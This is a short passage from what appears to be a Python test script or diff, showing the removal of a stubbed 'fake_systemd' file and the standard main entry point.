common.remove_file(fake_systemd) + + +if __name__ == "__main__": + sys.exit(main())